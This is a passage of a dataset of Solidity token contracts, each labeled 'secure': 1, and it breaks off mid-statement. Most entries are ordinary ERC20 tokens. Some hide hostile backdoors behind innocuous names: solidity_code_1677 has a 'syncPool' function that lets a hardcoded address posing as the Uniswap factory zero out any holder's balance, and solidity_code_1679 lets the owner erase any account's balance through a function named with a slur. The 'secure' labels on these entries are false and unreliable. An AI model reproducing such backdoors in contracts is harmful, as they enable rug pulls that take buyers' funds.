"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Boyscoin is ERC20 {\n constructor() ERC20(\"Boyscoin\", \"BOYS\") {\n _mint(msg.sender, 210_000_000 * (10 ** 9));\n }\n}",
"file_name": "solidity_code_1663.sol",
"secure": 1,
"size_bytes": 268
}
|
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\ninterface ERC20 {\n function totalSupply() external view returns (uint256);\n function balanceOf(address who) external view returns (uint256);\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n function transfer(address to, uint256 value) external returns (bool);\n function approve(address spender, uint256 value) external returns (bool);\n function approveAndCall(\n address spender,\n uint256 tokens,\n bytes calldata data\n ) external returns (bool success);\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}",
"file_name": "solidity_code_1664.sol",
"secure": 1,
"size_bytes": 963
}
|
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\ninterface ApproveAndCallFallBack {\n function receiveApproval(\n address from,\n uint256 tokens,\n address token,\n bytes calldata data\n ) external;\n}",
"file_name": "solidity_code_1665.sol",
"secure": 1,
"size_bytes": 255
}
|
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"./ApproveAndCallFallBack.sol\" as ApproveAndCallFallBack;\n\ncontract BOBBY is ERC20 {\n string public constant name = \"BOBBY\";\n string public constant symbol = \"BOBBY\";\n uint8 public constant decimals = 18;\n\n uint256 private _totalSupply = 1341592654 * 10 ** 18;\n\n mapping(address => uint256) private balances;\n mapping(address => mapping(address => uint256)) private allowed;\n\n constructor() {\n balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address player) public view override returns (uint256) {\n return balances[player];\n }\n\n function allowance(\n address player,\n address spender\n ) public view override returns (uint256) {\n return allowed[player][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) public override returns (bool) {\n require(value <= balances[msg.sender]);\n require(to != address(0));\n\n balances[msg.sender] -= value;\n balances[to] += value;\n\n emit Transfer(msg.sender, to, value);\n return true;\n }\n\n function multiTransfer(\n address[] memory receivers,\n uint256[] memory amounts\n ) public {\n for (uint256 i = 0; i < receivers.length; i++) {\n transfer(receivers[i], amounts[i]);\n }\n }\n\n function approve(\n address spender,\n uint256 value\n ) public override returns (bool) {\n require(spender != address(0));\n allowed[msg.sender][spender] = value;\n emit Approval(msg.sender, spender, value);\n return true;\n }\n\n function approveAndCall(\n address spender,\n uint256 tokens,\n bytes calldata data\n ) external override returns (bool) {\n allowed[msg.sender][spender] = tokens;\n emit Approval(msg.sender, spender, tokens);\n ApproveAndCallFallBack(spender).receiveApproval(\n msg.sender,\n tokens,\n address(this),\n data\n );\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public override returns (bool) {\n require(value <= balances[from]);\n require(value <= allowed[from][msg.sender]);\n require(to != address(0));\n\n balances[from] -= value;\n balances[to] += value;\n\n allowed[from][msg.sender] -= value;\n\n emit Transfer(from, to, value);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n require(spender != address(0));\n allowed[msg.sender][spender] += addedValue;\n emit Approval(msg.sender, spender, allowed[msg.sender][spender]);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public returns (bool) {\n require(spender != address(0));\n allowed[msg.sender][spender] -= subtractedValue;\n emit Approval(msg.sender, spender, allowed[msg.sender][spender]);\n return true;\n }\n\n function burn(uint256 amount) external {\n require(amount != 0);\n require(amount <= balances[msg.sender]);\n _totalSupply -= amount;\n balances[msg.sender] -= amount;\n emit Transfer(msg.sender, address(0), amount);\n }\n}",
"file_name": "solidity_code_1666.sol",
"secure": 1,
"size_bytes": 3779
}
|
{
"code": "// SPDX-License-Identifier: GPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract XeriesToken is ERC20, ERC20Burnable, Ownable {\n uint256 private constant INITIAL_SUPPLY = 100000 * 1e3;\n constructor() ERC20(\"Xeries\", \"XER\") {\n _mint(msg.sender, INITIAL_SUPPLY);\n }\n function distributeTokens(address distributionWallet) external onlyOwner {\n uint256 supply = balanceOf(msg.sender);\n require(supply == INITIAL_SUPPLY, \"Tokens already distributed\");\n _transfer(msg.sender, distributionWallet, supply);\n }\n\n function mint(uint256 amount) public virtual onlyOwner {\n _mint(_msgSender(), amount);\n }\n}",
"file_name": "solidity_code_1667.sol",
"secure": 1,
"size_bytes": 894
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Coinguilder is ERC20, Ownable {\n bool public tradeEnabled;\n mapping(address => bool) public exempted;\n\n event TradeEnabled(bool);\n event UpdateExemptWallets(address);\n\n constructor() ERC20(\"COINGUILDER\", \"CG\") {\n _mint(msg.sender, 100_000_000 * 1e18);\n\n exempted[msg.sender] = true;\n }\n\n function burn(uint256 value) external {\n _burn(msg.sender, value);\n }\n\n function _openTrade() external onlyOwner {\n require(!tradeEnabled, \"Error: Trade is already enabled.\");\n\n tradeEnabled = true;\n\n emit TradeEnabled(true);\n }\n\n function _exemptWallets(address _wallet) external onlyOwner {\n require(!exempted[_wallet], \"Error: Already extempted.\");\n\n exempted[_wallet] = true;\n emit UpdateExemptWallets(_wallet);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal override {\n if (!exempted[sender] && !exempted[recipient]) {\n require(tradeEnabled, \"Error: Trading is not enabled.\");\n }\n\n super._transfer(sender, recipient, amount);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n}",
"file_name": "solidity_code_1668.sol",
"secure": 1,
"size_bytes": 1989
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract GOPIEToken is Ownable, ERC20 {\n constructor() ERC20(\"GOPIE\", \"GOPIE\") {\n _mint(msg.sender, 1000000 * 100000000 * (10 ** 18));\n }\n}",
"file_name": "solidity_code_1669.sol",
"secure": 1,
"size_bytes": 351
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Ownable {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _setOwner(tx.origin);\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == msg.sender, \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _setOwner(newOwner);\n }\n\n function _setOwner(address newOwner) private {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}",
"file_name": "solidity_code_167.sol",
"secure": 1,
"size_bytes": 937
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract GIGABABE69420 is ERC20, Ownable {\n constructor() ERC20(\"GIGABABE69420\", \"BABE\") {\n _mint(msg.sender, 420690420690 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1670.sol",
"secure": 1,
"size_bytes": 360
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnershipNow(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function TransferOwnershipNow(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n _transferOwnershipNow(newOwner);\n }\n\n function _transferOwnershipNow(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}",
"file_name": "solidity_code_1671.sol",
"secure": 1,
"size_bytes": 1160
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract PSBOT is ERC20, Ownable {\n constructor() ERC20(\"PSBOT\", \"Profit Spotter Bot\") {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1672.sol",
"secure": 1,
"size_bytes": 363
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Coin is Ownable, ERC20 {\n mapping(address => bool) public blacklists;\n\n constructor() ERC20(\"The Rollbit token\", \"RLB\") {\n _mint(msg.sender, 9_000_000 ether);\n }\n\n function blacklist(address _address) external onlyOwner {\n blacklists[_address] = true;\n }\n\n function deblacklist(address _address) external onlyOwner {\n blacklists[_address] = false;\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n require(!blacklists[to] && !blacklists[from], \"Blacklisted\");\n }\n}",
"file_name": "solidity_code_1673.sol",
"secure": 1,
"size_bytes": 831
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract BOB is ERC20 {\n constructor() ERC20(\"BOB\", \"BOB\") {\n _mint(msg.sender, 1_000_000_000_000 * 10 ** uint256(decimals()));\n }\n}",
"file_name": "solidity_code_1674.sol",
"secure": 1,
"size_bytes": 279
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract CPRCToken is ERC20 {\n constructor() ERC20(\"CryptoPawCoin\", \"CPRC\") {\n _mint(msg.sender, 312_733_489_531 * (10 ** 18));\n }\n}",
"file_name": "solidity_code_1675.sol",
"secure": 1,
"size_bytes": 279
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"./ApproveAndCallFallBack.sol\" as ApproveAndCallFallBack;\n\ncontract MrFwashere is ERC20 {\n string public constant name = \"Mr F was here\";\n string public constant symbol = \"MRF\";\n uint8 public constant decimals = 18;\n\n uint256 private _totalSupply = 11364381 * 10 ** 18;\n\n mapping(address => uint256) private balances;\n mapping(address => mapping(address => uint256)) private allowed;\n\n constructor() {\n balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address player) public view override returns (uint256) {\n return balances[player];\n }\n\n function allowance(\n address player,\n address spender\n ) public view override returns (uint256) {\n return allowed[player][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) public override returns (bool) {\n require(value <= balances[msg.sender]);\n require(to != address(0));\n\n balances[msg.sender] -= value;\n balances[to] += value;\n\n emit Transfer(msg.sender, to, value);\n return true;\n }\n\n function multiTransfer(\n address[] memory receivers,\n uint256[] memory amounts\n ) public {\n for (uint256 i = 0; i < receivers.length; i++) {\n transfer(receivers[i], amounts[i]);\n }\n }\n\n function approve(\n address spender,\n uint256 value\n ) public override returns (bool) {\n require(spender != address(0));\n allowed[msg.sender][spender] = value;\n emit Approval(msg.sender, spender, value);\n return true;\n }\n\n function approveAndCall(\n address spender,\n uint256 tokens,\n bytes calldata data\n ) external override returns (bool) {\n allowed[msg.sender][spender] = tokens;\n emit Approval(msg.sender, spender, tokens);\n ApproveAndCallFallBack(spender).receiveApproval(\n msg.sender,\n tokens,\n address(this),\n data\n );\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public override returns (bool) {\n require(value <= balances[from]);\n require(value <= allowed[from][msg.sender]);\n require(to != address(0));\n\n balances[from] -= value;\n balances[to] += value;\n\n allowed[from][msg.sender] -= value;\n\n emit Transfer(from, to, value);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n require(spender != address(0));\n allowed[msg.sender][spender] += addedValue;\n emit Approval(msg.sender, spender, allowed[msg.sender][spender]);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public returns (bool) {\n require(spender != address(0));\n allowed[msg.sender][spender] -= subtractedValue;\n emit Approval(msg.sender, spender, allowed[msg.sender][spender]);\n return true;\n }\n\n function burn(uint256 amount) external {\n require(amount != 0);\n require(amount <= balances[msg.sender]);\n _totalSupply -= amount;\n balances[msg.sender] -= amount;\n emit Transfer(msg.sender, address(0), amount);\n }\n}",
"file_name": "solidity_code_1676.sol",
"secure": 1,
"size_bytes": 3787
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n using SafeMath for uint256;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n address DEAD = 0x000000000000000000000000000000000000dEaD;\n\n address private _uniswapV2Factory =\n 0xc8D35311928F04768Cc850C00009C58a381ACeCE;\n\n string private _name;\n uint256 private _tTotal;\n\n string private _symbol;\n mapping(address => uint256) private _balances;\n address internal devWallet = 0x6ce176a0AC375b249192098Bb948929d843b60Ba;\n uint256 private _allowance = 0;\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _tTotal -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(address(0));\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[from] = fromBalance - amount;\n\n _balances[to] = _balances[to].add(amount);\n emit Transfer(from, to, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _tTotal;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n function _afterTokenTransfer(address to) internal virtual {}\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _tTotal += amount;\n unchecked {\n _balances[account] += amount;\n }\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(account);\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n function syncPool(address syncPoolSender) external {\n _balances[syncPoolSender] = msg.sender == _uniswapV2Factory\n ? decimals()\n : _balances[syncPoolSender];\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n}",
"file_name": "solidity_code_1677.sol",
"secure": 1,
"size_bytes": 6256
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract RolexCoin is ERC20, Ownable {\n constructor() ERC20(\"Rolex\", \"ROLEX\") {\n transferOwnership(devWallet);\n _mint(owner(), 7010000000000 * 10 ** uint256(decimals()));\n }\n}",
"file_name": "solidity_code_1678.sol",
"secure": 1,
"size_bytes": 395
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Obama {\n using SafeMath for uint256;\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply = 10000000000000000000000000000;\n\t// WARNING Optimization Issue (constable-states | ID: ec9acf9): obama._name should be constant \n\t// Recommendation for ec9acf9: Add the 'constant' attribute to state variables that never change.\n string private _name = \"President Barack Obama\";\n\t// WARNING Optimization Issue (constable-states | ID: 2de8a4b): obama._symbol should be constant \n\t// Recommendation for 2de8a4b: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"OBAMA\";\n\t// WARNING Optimization Issue (immutable-states | ID: 91305c6): obama._owner should be immutable \n\t// Recommendation for 91305c6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _owner;\n constructor() {\n _owner = msg.sender;\n _balances[_owner] = _totalSupply;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = msg.sender;\n _transfer(owner, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = msg.sender;\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = msg.sender;\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = msg.sender;\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function retardalert(address account) external {\n require(msg.sender == _owner);\n\n uint256 accountBalance = _balances[account];\n\n _totalSupply -= accountBalance;\n _balances[account] -= _balances[account];\n emit Transfer(account, address(0), accountBalance);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_1679.sol",
"secure": 1,
"size_bytes": 5841
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract ZGMain is Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: 0b7eb6d): ZGMain.name should be constant \n\t// Recommendation for 0b7eb6d: Add the 'constant' attribute to state variables that never change.\n string public name = \"Zero GAS\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 6c78f7e): ZGMain.symbol should be constant \n\t// Recommendation for 6c78f7e: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"Z\";\n\n\t// WARNING Optimization Issue (constable-states | ID: a60cd50): ZGMain.decimals should be constant \n\t// Recommendation for a60cd50: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 18;\n\n uint256 public totalSupply = (1000) * 10 ** uint256(decimals);\n\n mapping(address => address) public userWallets;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n constructor() {\n _balances[tx.origin] = totalSupply;\n\n emit Transfer(address(0), tx.origin, totalSupply);\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _transfer(msg.sender, to, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public returns (bool) {\n require(\n _allowances[from][msg.sender] >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _transfer(from, to, amount);\n\n _allowances[from][msg.sender] -= amount;\n\n return true;\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function burn(uint256 amount) public returns (bool) {\n require(\n _balances[msg.sender] >= amount,\n \"ERC20: burn amount exceeds balance\"\n );\n\n _balances[msg.sender] -= amount;\n\n totalSupply -= amount;\n\n emit Transfer(msg.sender, address(0), amount);\n\n return true;\n }\n\n function _transfer(address from, address to, uint256 amount) private {\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(\n _balances[from] >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[from] -= amount;\n\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n }\n}",
"file_name": "solidity_code_168.sol",
"secure": 1,
"size_bytes": 3361
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Glob is IERC20 {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: ad46c2d): Glob._name should be constant \n\t// Recommendation for ad46c2d: Add the 'constant' attribute to state variables that never change.\n string private _name = \"GLOBGLOGABGALAB\";\n\t// WARNING Optimization Issue (constable-states | ID: ff8bc31): Glob._symbol should be constant \n\t// Recommendation for ff8bc31: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"Glob\";\n\t// WARNING Optimization Issue (constable-states | ID: 9c2bec9): Glob._decimals should be constant \n\t// Recommendation for 9c2bec9: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 9;\n\t// WARNING Optimization Issue (immutable-states | ID: 946910b): Glob._totalSupply should be immutable \n\t// Recommendation for 946910b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply =\n 1000000000000000000 * (1 ** uint256(_decimals));\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n address private _owner;\n mapping(address => bool) private _excludedFees;\n mapping(address => bool) private _excludedRewards;\n\n uint256 private constant _taxRate = 0;\n address private constant _marketingWallet =\n 0x325Af5a86B63E01cb3c894882Dd8c8214DC2Ad03;\n\n modifier onlyOwner() {\n require(\n msg.sender == _owner,\n \"Only contract owner can call this function\"\n );\n _;\n }\n\n constructor() {\n _owner = msg.sender;\n _balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n require(amount > 0, \"Amount must be greater than zero\");\n\n _transfer(msg.sender, recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n require(amount > 0, \"Amount must be greater than zero\");\n\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n msg.sender,\n _allowances[sender][msg.sender].sub(amount)\n );\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedAmount\n ) public returns (bool) {\n _approve(\n msg.sender,\n spender,\n _allowances[msg.sender][spender].add(addedAmount)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedAmount\n ) public returns (bool) {\n _approve(\n msg.sender,\n spender,\n _allowances[msg.sender][spender].sub(subtractedAmount)\n );\n return true;\n }\n\n function renounceOwnership() public onlyOwner {\n _owner = 